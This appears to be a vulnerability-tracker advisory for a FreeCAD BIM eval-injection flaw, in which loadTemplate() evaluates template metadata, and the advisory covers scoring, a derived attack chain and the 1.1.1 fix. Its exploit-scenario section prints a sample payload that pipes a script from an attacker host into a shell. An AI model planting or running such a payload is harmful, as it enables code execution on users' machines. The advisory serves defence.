Skip to main content

FreeCAD BIM CVE-2026-34398

| EUVDEUVD-2026-60457 HIGH
Eval Injection (CWE-95)
2026-08-17 GitHub_M
7.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft FCStd template with Python payload in wpposition field
  2. Delivery
    Deliver file via phishing or shared project repository
  3. Exploit
    Victim opens FreeCAD BIM and invokes Load Template
  4. Execution
    loadTemplate() calls eval() on attacker-controlled metadata
  5. Persist
    Arbitrary Python executes as victim OS user
  6. Impact
    Full system access achieved

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) the victim is running FreeCAD 0.19 through 1.1.0 with the BIM module loaded; (2) the victim explicitly opens a malicious FCStd BIM project template through the BIM Project Manager Load Template function, triggering the loadTemplate() method in src/Mod/BIM/bimcommands/BimProjectManager.py; (3) the malicious template contains attacker-controlled Python expressions embedded in any of the FCStd Meta properties wpposition, wpu, wpv, or wpaxis. No authentication or elevated system privileges are required on the victim's machine (CVSS PR:N). Exploitation is bounded by required user interaction (CVSS UI:R) - the victim must deliberately trigger the template load action. The local attack vector (AV:L) means the malicious file must reach the victim's filesystem first, necessitating a social engineering, phishing, or supply-chain delivery step as a prerequisite.

Impact

The CVSS 7.8 score with AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H accurately reflects a file-borne code execution flaw - high impact but constrained by local delivery and mandatory user interaction. EPSS data was not provided in the input, and the vulnerability is absent from the CISA KEV catalog, indicating no confirmed active exploitation at time of analysis. The threat model directly mirrors malicious document attacks: an attacker crafts and delivers a poisoned FCStd template via email, shared collaborative drive, or a compromised project repository, then waits for the victim to invoke Load Template. In engineering, architecture, and construction environments where BIM project templates are routinely exchanged between teams and clients, the social engineering surface is significant despite the AV:L classification. SSVC signals: exploitation not confirmed, delivery is automatable through scripted FCStd generation, technical impact is total across confidentiality, integrity, and availability. PR:N is a key signal - the attacker requires no foothold or credentials on the target machine, only a file delivery mechanism. The confirmed patch in 1.1.1 makes upgrade the unambiguous priority; the residual risk window is limited to unpatched installations.

Exploit ScenarioDerived

An attacker crafts a malicious FCStd project template file embedding arbitrary Python code - for example, a reverse shell or credential-harvesting script - in the wpposition metadata field as a string like 'Vector(__import__("os").system("curl attacker.com/shell.sh|sh"),0,0)'. The file is delivered to a FreeCAD BIM user via a phishing email or embedded in a collaborative project repository. When the victim selects Load Template in FreeCAD BIM, the embedded Python executes silently with the victim's full operating system user privileges.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 17, 2026

Arbitrary Python code execution in FreeCAD's BIM module (versions 0.19 through pre-1.1.1) is triggered when a user opens a malicious project template file through the BIM Project Manager's Load Template function. The loadTemplate() method in BimProjectManager.py passes FCStd metadata fields (wpposition, wpu, wpv, wpaxis) directly to Python's built-in eval(), enabling an attacker who can deliver a crafted template to achieve full code execution under the victim's user account. No public exploit has been identified at time of analysis; the vendor-released patch is confirmed in version 1.1.1.

RemediationAI

Upgrade to FreeCAD 1.1.1, the confirmed patched release available at https://github.com/FreeCAD/FreeCAD/releases/tag/1.1.1. The fix replaces all unsafe eval() calls in the BIM module with safe alternatives: a regex-validated _parse_vector() function for working plane vector fields (commits 871ee19b76224910332bbfbd39eebbede967998b and 9ed351cc4700db0a94c46f020c34c58bbf1bdaba), ast.literal_eval() for color tuples in BimLayers.py, explicit arithmetic parsing in BimTDPage.py, and direct string comparison for booleans in exportIFC.py. If immediate upgrade is not feasible, the primary compensating control is to treat FCStd BIM template files from external or untrusted sources with the same caution as executable attachments - verify file origin and integrity before loading. There is no known configuration option to disable only the vulnerable loadTemplate() code path without disabling the BIM module entirely, which would eliminate BIM Project Manager functionality. Organizations sharing templates across teams should establish a verified-source policy for template distribution.

Affected VersionsENISA

FreeCAD 0.19, < 1.1.1

Affected Packages

euvd freecad_0_19 fix: 1.1.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

FreeCAD uses FCStd files (ZIP archives containing XML metadata) as its project format. The BIM module's BimProjectManager.py reads working plane properties from template metadata and passes them directly to Python's built-in eval() - a textbook CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection) pattern. The fix in PR #28610 introduces a purpose-built _parse_vector() function using strict regex matching (r'^\s*Vector\s*\(\s*([^,]+)\s*,\s*([^,]+)\s*,\s*([^,)]+)\s*\)\s*$') to extract only numeric Vector(x,y,z) components, eliminating arbitrary code paths. The same patch batch also remediated related eval() misuse in BimLayers.py (replaced with ast.literal_eval() for color data), BimTDPage.py (arithmetic scale parsing), and exportIFC.py (boolean string comparison). Affected CPE: cpe:2.3:a:freecad:freecad:*:*:*:*:*:*:*:* covering versions 0.19 through 1.1.0 across all supported platforms.

Know when Freecad gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 7.8 HIGH

File-borne local delivery and mandatory user interaction are the only constraints; no target privileges needed; arbitrary code execution yields complete CIA impact.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat 7.8 HIGH

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
Aug 17, 2026 - 22:03 EUVD
CVE Published
Aug 17, 2026 - 20:51 cve.org
HIGH 7.8

DescriptionCVE.org

FreeCAD is a free and open-source multiplatform 3D parametric modeler. From 0.19 until 1.1.1, src/Mod/BIM/bimcommands/BimProjectManager.py in the BIM Project Manager Load Template flow passes attacker-controlled FCStd Meta property values for wpposition, wpu, wpv, and wpaxis directly to eval(), allowing arbitrary Python code execution when a user loads a malicious BIM project template. This issue is fixed in version 1.1.1.

Executive ViewAI

Why It Matters

FreeCAD versions 0.19 through pre-1.1.1 contain an arbitrary code execution vulnerability in the BIM module triggered when users open malicious project templates. No public exploit identified at time of analysis; however, successful exploitation grants attackers code execution under victim privileges, enabling data theft and lateral access. Organizations with FreeCAD BIM deployments should prioritize upgrading to version 1.1.1.

Business Impact: High
Compensating Controls

Apply vendor patch: upgrade to FreeCAD 1.1.1 or later. If patching is delayed, restrict BIM template sources to internal-only approved templates and consider disabling BIM functionality if non-essential.

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Low
open-source CAD tool used primarily by engineers and hobbyists, not enterprise-ubiquitous
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

39
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy